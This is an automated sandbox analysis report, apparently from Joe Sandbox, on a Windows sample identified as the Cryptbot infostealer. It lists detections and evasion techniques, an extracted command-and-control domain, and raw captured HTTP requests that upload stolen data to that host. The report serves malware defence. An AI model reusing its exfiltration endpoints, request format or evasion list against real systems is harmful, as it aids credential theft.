Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1561814
MD5: 6f3abf72b45579ad895e717f3725d31d
SHA1: a6117b18c33237012d24a646594e38109a368c5d
SHA256: 572db7adb908684deed9efdafd67b3bf601203d5f5fc7836403ceb713c6a3777
Tags: exeuser-Bitsight
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Attempt to bypass Chrome Application-Bound Encryption
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347$ Avira URL Cloud: Label: malware
Found malware configuration
Source: file.exe.7500.0.memstrmin Malware Configuration Extractor: Cryptbot {"C2 list": ["home.fvtekk5pn.top"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\service123.exe ReversingLabs: Detection: 45%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 36%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_004615B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 8_2_004615B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0D14B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 8_2_6C0D14B0
Source: file.exe, 00000000.00000003.1690933723.00000000076D2000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_2fa3a59e-8
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 8_2_004681E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14AEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C0F0860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6C0FA970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C0FA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6C0FA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C1AF960h 8_2_6C0EEB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C0F4453
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 8_2_6C1784A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6C0FC510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6C0FA580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C0FA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6C0FA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C0FE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6C0FE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 8_2_6C170730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6C0F0740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14C040
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14C1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 8_2_6C12A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6C0F0260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C1AD014h] 8_2_6C1A4360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14BD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C147D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 8_2_6C143840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 8_2_6C0FD974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6C10BBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6C10BBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14B4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6C0FD504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 8_2_6C149600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 8_2_6C0FD674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C1ADFF4h 8_2_6C143690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 8_2_6C0FD7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 8_2_6C173140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C0EB1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C0FD2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 8_2_6C167350
Source: chrome.exe Memory has grown: Private usage: 0MB later: 23MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49749 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49737 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49738 -> 34.116.198.130:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: home.fvtekk5pn.top
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------bOPw3ElJHW1NrBQgRjfapDData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 4f 50 77 33 45 6c 4a 48 57 31 4e 72 42 51 67 52 6a 66 61 70 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 6f 63 61 62 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a e8 09 51 49 8f d1 dc cf 2d 65 01 39 94 a4 d5 27 ba 54 52 a2 04 7c 57 26 88 66 1d c3 d9 e9 c9 fe bd 46 ef 11 22 c2 57 a7 f9 12 81 46 b2 24 3a 37 9a db 64 ca 7c 0d de d6 cc 1d 29 78 a3 6a 64 1f 16 2c dd 29 37 8d 08 bb 1d 66 6a 7d 1e f0 ef 65 a2 c0 db 7c d6 01 a1 ce ed cb a8 49 29 cc 0b 72 b7 48 88 2e c0 c8 bd cc ad ca 3a b6 80 78 4f 52 17 77 2b 63 2a 44 84 3c c4 de 50 10 b2 40 09 bc 4d 46 6f 45 e7 bd aa 26 b2 8d 06 da a9 4e c4 50 89 ee cf 91 a1 90 fb 42 de 77 de fb 7f f1 8a c1 76 46 00 87 07 65 15 c2 66 f5 7a c9 0f 4b 6c 91 1c 0a 25 f8 a4 1f 9f 69 fa b8 80 31 4f 75 2f 80 ea 46 34 66 5c 4d b2 82 cb e3 27 a8 9e 9f 48 8c f8 24 9e b6 7b 5a 6d a7 30 1c e0 a1 24 53 fd 6e bc d4 63 36 92 95 12 ec c5 b5 08 01 13 dc 6e 76 5f fc ed 5c 1c 85 0b 74 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 4f 50 77 33 45 6c 4a 48 57 31 4e 72 42 51 67 52 6a 66 61 70 44 2d 2d 0d 0a Data Ascii: --------------------------bOPw3ElJHW1NrBQgRjfapDContent-Disposition: form-data; name="file"; filename="Kocabi.bin"Content-Type: application/octet-streamQI-e9'TR|W&fF"WF$:7d|)xjd,)7fj}e|I)rH.:xORw+c*D<P@MFoE&NPBwvFefzKl%i1Ou/F4f\M'H${Zm0$Snc6nv_\t--------------------------bOPw3ElJHW1NrBQgRjfapD--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 63873Content-Type: multipart/form-data; boundary=------------------------FDWtoPW4dJKLrZaQn3E9owData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 44 57 74 6f 50 57 34 64 4a 4b 4c 72 5a 61 51 6e 33 45 39 6f 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 75 6e 75 6b 69 6b 61 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 98 33 82 38 e4 e5 77 d7 73 6a 28 bc cf c7 be 1f 95 76 d8 a4 cb 3b 72 65 d4 03 21 0e 24 da 09 23 67 fd 78 c9 c7 6b 78 b8 4f f5 47 97 4f d3 00 bb 9e cf 69 f8 ca 0c 77 68 aa a0 d0 ac b7 ab 36 ce 7e 76 e2 b6 94 bc bf 0d 60 21 ee 97 6f 35 4b a0 40 f4 31 1e 0a c1 59 80 e0 74 54 9d 41 4c 96 ed f6 1b 81 dd 70 10 ea e0 9b 16 aa 68 65 49 86 c1 19 52 6d e8 6d 4a eb b5 f5 e3 b0 cd 2c 40 3e a5 bf ed 2b 4e 21 ae c2 2e ca fd af 9c 3f 3e 77 09 e2 af d1 07 ac 1e 17 66 30 10 9c 3a d4 8a d9 83 48 35 9b b1 86 ef f3 80 00 04 e3 76 44 18 42 30 08 15 d3 64 cf 22 0e 2e 03 0b 94 19 f6 82 ef ed 62 12 9b a4 6d d8 e8 d8 2e 98 ea 9a 71 16 60 d5 0a 27 0a 8e 53 d7 f0 3e 59 cb ca 9a f7 9c 50 2b d3 83 1d 44 96 85 5e 5d 6b b4 62 3d dc 53 7a ac 69 d3 51 d2 35 30 97 2a f2 be 13 35 27 6d 0b 90 f1 37 c7 38 63 0f bd f5 3b f8 2e 1b 16 88 81 c4 5c e4 3e 6d 5f 6e b4 e3 f4 46 c9 13 d9 14 80 d0 cd e6 82 91 b1 f1 96 a0 9e fc 09 35 6b 27 d3 5c 18 30 14 ec 39 11 c7 df 47 fd a9 69 a7 89 54 22 6d 4e 9f ba 46 de 75 77 74 3f 20 7a b6 b6 db a1 ab 03 d6 fc 64 fe df e1 5c 77 0c a7 86 8a cd 3a 5b 34 b5 74 83 97 b4 33 23 e8 05 00 fb 1c 20 d7 6b cc 4b 1d ee 21 4a a1 07 51 ce c8 b9 df 17 ac e5 70 39 d7 62 9b e9 b0 98 d3 74 4f ff 02 e2 1d 90 d3 bf b6 c1 13 95 3b fb 0a ac a9 c3 3f ce 88 18 d4 21 02 fc c6 7c 01 4e bb 1f 8e bc 7a 7e f8 13 30 f6 99 3f 0c 0f 96 b8 33 17 da 00 4c 33 f0 64 85 7b a7 fd 26 5d c5 aa da bb da a8 c7 3f e3 4a 84 05 34 73 1e fd 61 19 ae 1b 40 02 12 30 af a5 ae 88 95 04 a6 04 ce 84 a6 e2 57 9a 1f 5a 95 d4 a0 9f e1 db 2b 86 e5 ac 2c ba 8c 64 1e 6d 0c 63 48 45 83 f4 ec 12 91 6d e5 e1 f1 ce 2f 31 4c ce 13 49 34 21 22 a0 57 31 d6 3b e1 be b7 1f 24 df b4 d4 e6 a9 b1 c4 5f 0f 79 db b4 4d 22 3f b1 62 95 3c a8 58 85 3e 4a e3 88 18 2a 13 d8 e8 91 01 4d 68 06 ca b1 97 a2 45 0c 9b dc 65 44 a9 96 df 44 68 93 10 79 e4 dd 11 df dc ab bf 60 d5 83 40 24 4d eb 75 9d b5 62 3f e2 f0 88 d9 db 5d 07 35 4a 7d 38 02 77 3a 23 69 62 51 ca 78 ab b5 ec be fe 3e b8 d1 70 16 b3 42 3b 88 81 e3 9c e7 50 ef a9 17 f7 cf 1d ac 7d 25 44 4f ca 84 cb cb bd 82 b7 8e bf 3a d8 11 bd 0c 13 90 cd 2c 80 42 87 41 e0 89 77 b6 49 d0 94 a1 6c 4d 5c fe ec 9f ec 34 fb 39 e6 7d f6 54 85 a3 c4 80 d3 cb b1 fc 46 7b 43 32 28 2f e1 b7 e7 2e 60 a3 4a fc 41 09 de 73 73 b2 29 e2 12 87 9c 2e 31 a3 18 a1 bb 39 e0 85 d3 54 ac f3 70 88 c6 37 68 af bc a9 d7 79 f1 6d a3 ae 95 73 bd
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 27816Content-Type: multipart/form-data; boundary=------------------------WrEN38nEYpMleKzRlkAHKpData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 57 72 45 4e 33 38 6e 45 59 70 4d 6c 65 4b 7a 52 6c 6b 41 48 4b 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 6f 70 75 72 6f 66 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 8f a2 b2 3c ba 46 b0 fe 2c b1 be 87 db f3 4b 30 d8 e7 cf 6c a5 f3 42 0d 9c 54 23 91 8d 60 99 5b da bf 21 e0 da fa 7f a2 59 f2 f3 ab 0b 1c 79 4a 6e 1c 7d f6 96 79 2c dd f5 02 54 ad 9a dd 83 9a cf bf 2a 25 fd 6a ab 0e b5 3c 7e 10 c6 11 f0 59 bc c3 41 0a fc 1b b9 ac 9e 1f 2a 7b 6f a3 ba ea f6 25 e7 f3 c3 12 63 f9 1a 0d 06 9d 02 44 0a 56 21 ee 4a 0b dd 05 c5 fe eb b7 d6 3f ea 54 d2 8f 25 f4 5d 5e 10 3e 33 66 22 f1 1d da 9b 67 4a ea eb 55 6f a7 a5 f4 28 fe d0 0a c0 58 5e 08 91 a2 5e 2b 6d 55 7f 9d 99 4f 13 ae 35 43 80 a1 25 56 57 03 84 52 6a 8a 37 b5 20 89 64 78 bd d8 a9 26 e3 d0 84 ac af 34 e6 43 af 43 1e 21 79 d4 ed 77 63 8a e9 73 96 e4 62 a7 26 e7 04 23 43 c5 8a 29 4d 22 b4 06 9f 14 14 3b 13 8d 48 2c d0 99 ca bb 81 f3 56 51 87 03 80 1a 45 36 35 73 b3 bd fc b3 8b f8 71 cd 7d 96 c8 96 91 c6 c5 b9 ad 2a a1 52 58 af 61 84 2a 14 c3 76 17 76 0c f1 ff 9c c4 d3 03 e4 97 23 7f fe c0 06 99 91 c7 50 77 68 aa f3 64 7f c7 70 ad bb 8c 83 42 cf 5b 85 93 aa 15 d6 d9 7c 1e 6c 4e 14 ec 58 08 a0 f7 c4 46 0e 56 ea 13 d2 e9 3c 6b 25 22 5c c1 f5 fd 42 cd 82 b9 a8 92 1f d0 55 6b c0 a0 16 cd d2 06 97 db 66 4d 14 e2 5d d0 e3 84 2e 25 97 25 d9 97 81 f2 15 25 97 fe 92 a6 fc e6 09 f3 0e 2f 6f a8 d0 d4 aa b2 6b 34 a7 1a ba 5a ac 68 c0 b0 e4 9b a3 cc 15 1e eb 2b 8a 3c 36 f2 da 8a df fe 76 aa ab 0d ed d3 f3 b3 de 76 0e 57 d2 bf 09 4a dd fc 86 28 97 07 5a b4 2b 85 db 3c 7b 85 87 83 b5 af 5d 70 2e 58 ca e6 ae 0a 21 7d 93 a6 e6 22 6c 67 e6 26 b7 6b a4 20 b7 26 ba fd 9f a5 68 7d 5b f3 bc b7 6c 19 3a 61 af 18 e6 f5 07 51 98 7d ac 8c 03 cc 79 2e 6e cf 79 42 44 af 9a 80 f1 fe 9d 44 f5 93 78 06 0a b8 c3 37 a6 eb 94 55 69 7f ed b0 8f ab b3 95 d2 70 58 59 4c 14 44 22 83 80 9c 7e 1a 69 e2 8c b2 0a cf 79 87 de ce 7f be b0 9e 96 15 eb f0 69 f5 09 09 27 72 bc be 5c 0b 42 1a f1 47 0a d6 51 41 11 87 06 a6 a1 cc c7 48 05 fe 06 60 5a d7 63 09 7c 6c 5d c5 c5 6a 61 0b 8b be dd b3 e3 48 5e 91 87 51 ab cb 45 f5 f2 50 d7 ab 5c db fc 49 30 97 69 55 18 3b 4f 18 e7 cd b1 3a b4 6a ae 16 fa 20 7b 6a 85 cc 5a c1 dd 1b 8a d1 41 6d 09 7a 72 74 55 aa 8e 56 fc ff a7 55 9c e9 8d fd 1e 64 15 20 86 80 e8 70 4a 66 97 99 26 8c 5f 72 e6 80 71 93 0c 77 79 f8 1c 11 2d 3c fe c1 f9 53 7b af 8e b1 3c 11 7b e8 92 fa 10 e8 32 28 a7 98 1f 13 8a 27 aa 0f 3d 91 95 62 6e b0 d4 b5 55 e5 54 c6 63 54 17 49 13 3c 4d b2 81 64 74 99 fc a6 d7 2f 6d 7a 26 e3 a2 f4 c1 8c 5d
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 34.116.198.130 34.116.198.130
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: chrome.exe, 00000004.00000002.2087436370.00002C7C00538000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2058698160.00002C7C00550000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2087436370.00002C7C00538000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2058698160.00002C7C00550000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2086972698.00002C7C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2072468262.00002C7C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2091456932.00002C7C00F18000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000004.00000002.2086972698.00002C7C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2072468262.00002C7C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2091456932.00002C7C00F18000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style 